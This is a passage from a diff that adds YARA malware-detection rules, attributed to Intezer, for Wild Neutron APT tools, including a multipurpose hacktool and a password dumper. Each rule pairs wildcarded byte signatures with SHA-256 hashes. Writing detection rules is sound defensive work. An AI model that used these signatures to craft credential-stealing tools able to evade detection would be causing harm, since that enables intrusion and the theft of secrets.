+		$block_1 = { 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_2 = { 8B ?? ?? ?? 83 ?? ?? ?? ?? FE ?? ?? ?? 83 ?? ?? ?? ?? 8D ?? ?? ?? 8D ?? ?? ?? A5 A5 A5 A5 7C }
+		$block_3 = { 8B ?? ?? 8B ?? ?? 03 ?? 0F B6 ?? 6A ?? 5? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_4 = { 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? 5? C9 C3 }
+		$block_5 = { FF 7? ?? 8B ?? ?? FF 7? ?? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_6 = { 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 5? C9 C3 }
+		$block_7 = { 01 ?? ?? 68 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_8 = { 8B ?? ?? 8B ?? ?? 03 ?? 0F B6 ?? 6A ?? 5? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_9 = { 0F B6 ?? 5? 0D ?? ?? ?? ?? 5? FF 7? ?? 8D ?? ?? 89 ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 74 }
+		$block_10 = { 8B ?? ?? 5? FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 33 ?? 39 ?? ?? 5? 0F 94 ?? 8B ?? 5? 89 ?? ?? 8D }
+		$block_11 = { 8D ?? ?? 0F B6 ?? ?? ?? 0F B6 ?? ?? ?? C1 ?? ?? 0B ?? 03 ?? 8D ?? ?? ?? 39 ?? ?? ?? ?? ?? 74 }
+		$block_12 = { 0F B6 ?? 0F B6 ?? ?? C1 ?? ?? 66 ?? ?? 0F B7 ?? 83 ?? ?? 5? 89 ?? E8 ?? ?? ?? ?? 5? 85 ?? 75 }
+		$block_13 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? ?? 5? 8D ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 85 }
+		$block_14 = { 2B ?? ?? 8B ?? ?? 83 ?? ?? ?? ?? 89 ?? 6A ?? 5? BF ?? ?? ?? ?? 8B ?? 33 ?? 66 ?? ?? 0F 85 }
+		$block_15 = { 5? 8B ?? 83 ?? ?? 5? 5? 6A ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_16 = { 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 5? 5? 5? 5? 5? C9 C3 }
+		$block_17 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 8B ?? ?? 83 ?? ?? 83 ?? ?? ?? 5? 8D ?? ?? 5? 89 ?? ?? 0F 82 }
+		$block_18 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 8D ?? ?? 6A ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_19 = { 0F B6 ?? ?? ?? 0F B6 ?? ?? ?? C1 ?? ?? 0B ?? 03 ?? 8D ?? ?? 6A ?? 5? 39 ?? ?? ?? ?? ?? 73 }
+		$block_20 = { 5? 8B ?? 83 ?? ?? 81 E? ?? ?? ?? ?? 8B ?? ?? 5? C1 ?? ?? 5? 5? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_21 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 33 ?? AB AB 8B ?? 5? E9 }
+		$block_22 = { 8D ?? ?? 5? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_23 = { 8D ?? ?? 5? FF 7? ?? 8B ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? 4? 83 ?? ?? 3B ?? 0F 86 }
+		$block_24 = { 8B ?? ?? 81 C? ?? ?? ?? ?? 6A ?? 8D ?? ?? 5? F3 ?? 0F B6 ?? ?? 89 ?? ?? 83 ?? ?? 0F 87 }
+		$block_25 = { 5? 8B ?? A5 A5 A5 A5 8D ?? ?? 6A ?? 5? FF 7? ?? 89 ?? ?? FF 5? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_26 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? ?? 5? 8B ?? ?? 6A ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_27 = { 8B ?? ?? 83 ?? ?? 5? 5? 89 ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_28 = { 8B ?? ?? 83 ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_29 = { 8B ?? 6B ?? ?? 8D ?? ?? ?? 5? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_30 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_31 = { 8B ?? ?? ?? C1 ?? ?? 8A ?? 8A ?? ?? ?? 2A ?? 80 C? ?? D2 ?? 89 ?? ?? ?? 84 ?? 0F 85 }
+		$block_32 = { 0F B6 ?? ?? 89 ?? ?? 4? 5? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_33 = { 8B ?? 0F B6 ?? 6A ?? FF 7? ?? 8D ?? ?? 8B ?? 89 ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_34 = { 8D ?? ?? ?? 5? 5? 8D ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_35 = { 8A ?? 88 ?? ?? 0F B6 ?? 4? FE ?? ?? C6 ?? ?? ?? 8A ?? ?? ?? ?? ?? 88 ?? ?? 84 ?? 79 }
+		$block_36 = { 8B ?? ?? 8B ?? ?? 8B ?? 8D ?? ?? A5 A5 A5 A5 8B ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B ?? 5? }
+		$block_37 = { 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 5? 5? 5? 5? 5? C9 C3 }
+		$block_38 = { 33 ?? 5? 0F B6 ?? ?? 4? 8B ?? 8B ?? D3 ?? 8D ?? ?? D3 ?? 89 ?? ?? 4? 39 ?? ?? 76 }
+		$block_39 = { 0F B6 ?? 0F B6 ?? ?? 66 ?? ?? ?? 66 ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 5? 85 ?? 74 }
+		$block_40 = { 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 85 }
+		$block_41 = { 0F B6 ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 83 ?? ?? 89 ?? ?? 03 ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_42 = { 8B ?? ?? FF 7? ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_43 = { 0F B6 ?? 89 ?? 8B ?? 03 ?? ?? 6A ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_44 = { FF 7? ?? 8D ?? ?? FF 7? ?? 8D ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_45 = { 8B ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 3B ?? 0F 86 }
+		$block_46 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? 5? 5? 0F 84 }
+		$block_47 = { 8B ?? ?? 89 ?? ?? 03 ?? 5? 8B ?? ?? 03 ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 85 ?? 0F 85 }
+		$block_48 = { 8D ?? ?? 5? 5? 89 ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_49 = { 0F B6 ?? ?? ?? 0F B6 ?? ?? ?? C1 ?? ?? 0B ?? 83 ?? ?? 81 F? ?? ?? ?? ?? 0F 82 }
+		$block_50 = { 8B ?? ?? 8B ?? ?? C1 ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_51 = { 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_52 = { 8B ?? 6B ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_53 = { 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_54 = { FF 3? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_55 = { 03 ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 88 }
+		$block_56 = { 80 7? ?? ?? ?? 8A ?? 0F 95 ?? 0A ?? 33 ?? 3A ?? 0F 95 ?? 0F AF ?? 09 ?? 4? 75 }
+		$block_57 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? 0F B7 ?? ?? 8B ?? ?? 8D ?? ?? 8B ?? ?? 03 ?? 89 }
+		$block_58 = { 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_59 = { 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? C1 ?? ?? 0B ?? 89 ?? ?? 75 }
+		$block_60 = { 8D ?? ?? 5? FF 7? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_61 = { 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 5? 5? 5? 5? 5? C9 C3 }
+		$block_62 = { 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_63 = { 5? 8B ?? 0F B6 ?? ?? 5? 0F B6 ?? C1 ?? ?? 0B ?? 8D ?? ?? 5? 3B ?? ?? 0F 85 }
+		$block_64 = { 8D ?? ?? 5? 8D ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 0F 85 }
+		$block_65 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 4? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 88 }
+		$block_66 = { 89 ?? ?? 8B ?? 89 ?? ?? 8D ?? ?? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 8F }
+		$block_67 = { 8B ?? ?? 83 ?? ?? 0F 94 ?? 89 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 74 }
+		$block_68 = { 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 85 }
+		$block_69 = { 8D ?? ?? ?? ?? ?? 5? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_70 = { 6A ?? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_71 = { 5? 8B ?? ?? 8B ?? ?? BF ?? ?? ?? ?? 03 ?? E8 ?? ?? ?? ?? 5? 85 ?? 0F 84 }
+		$block_72 = { 0F B6 ?? ?? 8B ?? ?? 8A ?? ?? 32 ?? 88 ?? 4? 4? 83 ?? ?? 83 ?? ?? ?? 75 }
+		$block_73 = { 5? 0F B6 ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 8D ?? ?? 89 ?? 3D ?? ?? ?? ?? 77 }
+		$block_74 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_75 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_76 = { 83 ?? ?? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_77 = { 8D ?? ?? 5? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_78 = { 8D ?? ?? 5? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_79 = { 83 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_80 = { 8D ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 0F AF ?? 89 }
+		$block_81 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? 8B ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 89 }
+		$block_82 = { 2B ?? 5? 8D ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 0F 85 }
+		$block_83 = { 5? 8B ?? 5? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? 8B ?? ?? 5? 83 ?? ?? 0F 85 }
+		$block_84 = { 0F B6 ?? ?? 5? 0F B6 ?? 83 ?? ?? C1 ?? ?? 0B ?? 2B ?? 89 ?? 3B ?? 7D }
+		$block_85 = { 5? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_86 = { 8D ?? ?? 5? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_87 = { 8B ?? ?? FF 7? ?? 83 ?? ?? 5? FF 7? ?? FF 5? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_88 = { 8B ?? ?? 8D ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 89 ?? ?? 76 }
+		$block_89 = { 8B ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 4? 8D ?? ?? A5 A5 A5 A5 89 ?? ?? 75 }
+		$block_90 = { D1 ?? 04 ?? 14 ?? 3A ?? ?? 1B ?? 1C ?? 0F 9C ?? 5? 18 ?? 22 ?? 4? CF }
+		$block_91 = { 33 ?? 39 ?? ?? 0F 94 ?? 21 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 23 ?? E9 }
+
+	condition:
+		hash.sha256(0, filesize) == "d026f0ca46a82907f3cdd31cbe1b0d7c3ca2c7b90892a855549ab21d456df5b3" or
+		hash.sha256(0, filesize) == "8cbe98930191e4c2e8f9e1a67d4b4cf828e37314728456cf4c00e5435d4878f6" or
+		hash.sha256(0, filesize) == "973f5084662fd80d886d518c9295a1a24fcfcd8843a628f98f5223847d4b4cf1" or
+		hash.sha256(0, filesize) == "2291700fb2908bb55eb76b3c319908b09e885f1a4700f17ba3c8ada9193b7ae5" or
+		hash.sha256(0, filesize) == "c9272ed0e0266e5ecc5af0cd7760175789d41b5a7814d9e6e338b7d836f9796d" or
+		hash.sha256(0, filesize) == "f7f003b6f3b77e3cb21d27218634236cdc853c7b71f353c1ef6583992a42b8b5" or
+		hash.sha256(0, filesize) == "ca03a812cc11edf1efba5a14bc78494cf6c227e60df7a69b4606f2bbaaafaf7a" or
+		hash.sha256(0, filesize) == "c3b8f989d3ab2587fa2d15487cc0933113f5d1ba3f181f3d3a2eedfd830a9ad4" or
+		hash.sha256(0, filesize) == "c84c779ae60885dac387db3d747d30dd1a889506262b1a7b41be6690883db0e6" or
+		hash.sha256(0, filesize) == "544f05d18b4c3e5ed8defe313951d7afde9e3c46201ea34f4fe8b1888369b606" or
+		hash.sha256(0, filesize) == "4bd548fe07b19178281edb1ee81c9711525dab03dc0b6676963019c44cc75865" or
+		12 of them
+}
+
+rule WildNeutronHacktool_MultiPurpose {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 4C ?? ?? 49 ?? ?? ?? 49 ?? ?? ?? 4D ?? ?? ?? 4D ?? ?? ?? 5? 5? 5? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? B8 ?? ?? ?? ?? 66 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 45 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_1 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? ?? 0F B7 ?? ?? ?? 0F B7 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_2 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 88 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 33 ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F 84 }
+		$block_4 = { 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "1d3bdabb350ba5a821849893dabe5d6056bf7ba1ed6042d93174ceeaa5d6dad7" or
+		5 of them
+}
+
+rule WildNeutronPasswordDumper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 44 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D ?? ?? 41 ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 83 ?? ?? 41 ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 0F 46 ?? 0F B6 ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 89 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 8D ?? ?? 83 ?? ?? 44 ?? ?? ?? 0F B6 ?? ?? BE ?? ?? ?? ?? 8D ?? ?? 83 ?? ?? 41 ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 44 ?? ?? ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? 44 ?? ?? ?? ?? 41 ?? ?? ?? 41 ?? ?? ?? 83 ?? ?? 8D ?? ?? 45 ?? ?? ?? 83 ?? ?? 8D ?? ?? 44 ?? ?? ?? 83 ?? ?? 41 ?? ?? ?? 0F 46 ?? 44 ?? ?? ?? 83 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? 41 ?? ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? ?? ?? 89 ?? ?? ?? 41 ?? ?? ?? ?? ?? 89 ?? ?? ?? 41 ?? ?? 44 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 4D ?? ?? 74 }
+		$block_1 = { 0F B6 ?? ?? 44 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D ?? ?? 41 ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 83 ?? ?? 41 ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 0F 46 ?? 0F B6 ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 0F 46 ?? 89 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 8D ?? ?? 83 ?? ?? 44 ?? ?? ?? 0F B6 ?? ?? BE ?? ?? ?? ?? 8D ?? ?? 83 ?? ?? 41 ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 44 ?? ?? ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? 44 ?? ?? ?? ?? 41 ?? ?? ?? 41 ?? ?? ?? 83 ?? ?? 8D ?? ?? 45 ?? ?? ?? 83 ?? ?? 8D ?? ?? 44 ?? ?? ?? 83 ?? ?? 41 ?? ?? ?? 0F 46 ?? 44 ?? ?? ?? 83 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? 41 ?? ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? ?? ?? 89 ?? ?? ?? 41 ?? ?? ?? ?? ?? 89 ?? ?? ?? 41 ?? ?? 44 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 4D ?? ?? 74 }
